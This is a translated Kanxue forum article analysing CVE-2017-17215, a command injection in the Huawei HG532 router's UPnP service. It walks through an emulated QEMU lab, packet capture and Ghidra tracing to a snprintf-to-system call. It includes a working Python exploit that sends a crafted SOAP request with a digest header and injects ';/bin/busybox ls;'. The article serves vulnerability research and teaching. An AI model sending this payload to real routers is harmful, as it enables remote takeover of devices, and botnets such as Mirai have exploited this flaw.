Analysis of Huawei HG532 Router Command Injection Vulnerability (CVE-2017-17215)

This article is a highlight from the Kanxue forum.

Kanxue Forum Author ID: hlhow

This is the author’s first analysis of an IoT device command injection vulnerability, with an architecture based on MIPS (as far as router devices are concerned, only Tenda and Netgear use ARM architecture). There are already several reproduction articles online, but they lack depth in aspects such as environment setup and vulnerability analysis. This article further delves into the call chain of the vulnerability function to understand the general principles of command injection vulnerabilities, while also serving as a reference for beginners debugging IoT device vulnerabilities.

Introduction to the Vulnerability

On November 27, 2017, the Check Point team reported a remote command execution vulnerability (CVE-2017-17215) in Huawei HG532 products, which has already been exploited in a variant of Mirai. The vulnerability payload was captured by a honeypot, and the exploitation principle involves using an injection vulnerability in the UPnP service to achieve arbitrary command execution. The vulnerability is related to port 37215 under /bin/mic, which starts the UPnP protocol (Universal Plug and Play) through port 37215 and subsequently calls the system() function. Therefore, it is possible to send POST data to the target router through this port to invoke the system() function, allowing an attacker to remotely inject and execute commands, thereby taking control of the router.

Environment Setup

Download Firmware

git clone https://gitee.com/p1piyang/backward-analysiscd backward-analysis/CVE-2017-17215

We can see the firmware and exp

Analysis of Huawei HG532 Router Command Injection Vulnerability (CVE-2017-17215)

Extract Firmware

apt install binwalk     # Binwalk needs to be installed in advancebinwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

Build QEMU Virtual Machine

# Download QEMU virtual machinesudo apt-get install qemusudo apt-get install qemu binfmt-support qemu-user-static # Download imagewget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta # Configure network, create bridge sudo apt-get install bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0 192.168.10.1/24 up # Create tap interface and add to bridge sudo apt install uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0 192.168.10.11/24 upsudo brctl addif Virbr0 tap0 # Start QEMU virtual machine, username and password are both rootapt install qemu-system-mipssudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic # After entering the virtual machine, configure IP address and test connectivity with the host ifconfig eth0 192.168.10.2/24 upping 192.168.10.1 -c 10 # Return to the host and copy the squashfs-root folder to the virtual machine scp -r squashfs-root/ [email protected]:~/ # Mount mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc # The virtual machine is too slow, return to the host and connect to the virtual machine remotely via SSH to execute the vulnerability program ssh [email protected] squashfs-root /bin/sh./bin/upnp./bin/mic # At this point, the router's IP in the virtual machine has changed, and the SSH connection has been disconnected, so you need to return to the virtual machine terminal to change the IP address ifconfig eth0 192.168.10.2/24 upifconfig br0 192.168.10.11/24 up The environment setup is successful, and the vulnerable service has been started.

QEMU Virtual Machine Creation Issues

The QEMU virtual machine fails to start properly and gets stuck on this screen.

Solution: Change the experimental host to Ubuntu 16.04 (higher versions of Ubuntu cannot start the QEMU virtual machine properly due to hard-coded loop devices during the creation of QEMU images, causing the loop device to fail to mount to the firmware’s root filesystem https://github.com/liyansong2018/firmware-analysis-plus/issues/40

Exploitation of the Vulnerability

Run exp

Check the downloaded exp, modify the target host’s IP address to 192.168.10.2, and <NewStatusURL>;/bin/busybox ls;</NewStatusURL> tag is where we achieve the injection and remotely control the execution of the ls command.

import requests headers = {    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"} data = '''&lt;?xml version="1.0" ?&gt; &lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;  &lt;s:Body&gt;&lt;u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"&gt;   &lt;NewStatusURL&gt;;/bin/busybox ls;&lt;/NewStatusURL&gt;   &lt;NewDownloadURL&gt;HUAWEIUPNP&lt;/NewDownloadURL&gt;  &lt;/u:Upgrade&gt; &lt;/s:Body&gt;&lt;/s:Envelope&gt;'''response = requests.post('http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data) print(response)  # Print the service return response code here to determine the execution effect

Execute exp in the host, and you can see that the exploitation is successful, returning a 200 response code and successfully executing the ls command.

Message Analysis

According to the given environment and exp, we can successfully exploit it and further analyze the message to understand the principle of the vulnerability. First, use tcpdump to capture all network packets passing through the tap0 network card and save them to result.cap. There is a problem here; the QEMU network card device is tap0. Can we capture packets like a normal network card? We clarified the differences and connections between the two through research.

+----------------------------------------------------------------+|                                                                ||  +--------------------+      +--------------------+            ||  | User Application A |      | User Application B |<-----+     ||  +--------------------+      +--------------------+      |     ||               | 1                    | 5                 |     ||...............|......................|...................|.....||               ↓                      ↓                   |     ||         +----------+           +----------+              |     ||         | socket A |           | socket B |              |     ||         +----------+           +----------+              |     ||                 | 2               | 6                    |     ||.................|.................|......................|.....||                 ↓                 ↓                      |     ||             +------------------------+                 4 |     ||             | Newwork Protocol Stack |                   |     ||             +------------------------+                   |     ||                | 7                 | 3                   |     ||................|...................|.....................|.....||                ↓                   ↓                     |     ||        +----------------+    +----------------+          |     ||        |      eth0      |    |      tun0      |          |     ||        +----------------+    +----------------+          |     ||    10.32.0.11  |                   |   192.168.3.11      |     ||                | 8                 +---------------------+     ||                |                                               |+----------------|-----------------------------------------------+                 ↓         Physical Network

In short, there is a certain difference between the tap0 network card and physical network cards like eth0 from a low-level implementation perspective, but from a higher-level perspective, there is no difference at all, and you can directly use the tcpdump command for packet capturing.

tcpdump -i tap0 -w result.cap

Use Wireshark to open the captured cap file.

You can see the HTTP request sent by exp and the response returned by the UPnP service.

By tracing the HTTP flow, we can see that it is consistent with the exp we constructed and the response we received. In addition, it can be seen that the exploitation process does not require user login or similar operations, making it extremely simple.

Vulnerability Analysis

POC Analysis

The exploitation process is clear, and next we further analyze the principle of the vulnerability. First, let us present the vulnerability description from Check Point Researchers.

We can see that the ControlURL is /ctrlt/DeviceUpgrade_1, and the communication port is 37215. We can check which files contain these two keywords and the port using the grep -r [keywords] command.

Thus, the prerequisite for exploiting the vulnerability is to run the UPnP and mic binary files.

Next, we analyze how the sent URL is processed and how our command is executed.

Since IDA Pro’s disassembly is not very clear, with some symbol tables and functions missing, we will use Ghidra to view the pseudocode for better clarity.

First, we search for references to ctrlt through string search.

UpnpGetServiceByUrl should be the function that handles the URL.

Search for the ‘NewStatusURL’ string.

Right-click to jump to the place where the string is called, and find the key pseudocode.

We can see that a snprintf function followed by a system function can successfully achieve command injection.

References:

https://blog.csdn.net/ZripenYe/article/details/122113205?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122113205-blog-117321765.pc_relevant_multi_platform_whitelistv3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122113205-blog-117321765.pc_relevant_multi_platform_whitelistv3&utm_relevant_index=1

https://cougar.kim/posts/cve-2017-17215_analyse/

https://www.cnblogs.com/deerCode/p/11919612.html

Analysis of Huawei HG532 Router Command Injection Vulnerability (CVE-2017-17215)

Kanxue ID: hlhow

https://bbs.pediy.com/user-home-945201.htm

*This article is original by Kanxue forum hlhow, please indicate the source from Kanxue community when reprinting.

Limited time ticket sale at 2.5 discount Analysis of Huawei HG532 Router Command Injection Vulnerability (CVE-2017-17215)

Summit official website: https://meet.kanxue.com/kxmeet-6.htm

# Previous Recommendations

1. Process Dump & PE unpacking & IAT repair – Windows Edition

2. Stable implementation of NtSocket, simple encapsulation of Client and Server, and an implementation of SocketAsyncSelect APC

3. How to protect your code? Add NoChange attribute to your code

4. Simple study of a certain conference software’s CEF framework

5. PE loading process FileBuffer-ImageBuffer

6. APT double-tailed scorpion sample analysis

Share

Like

Watching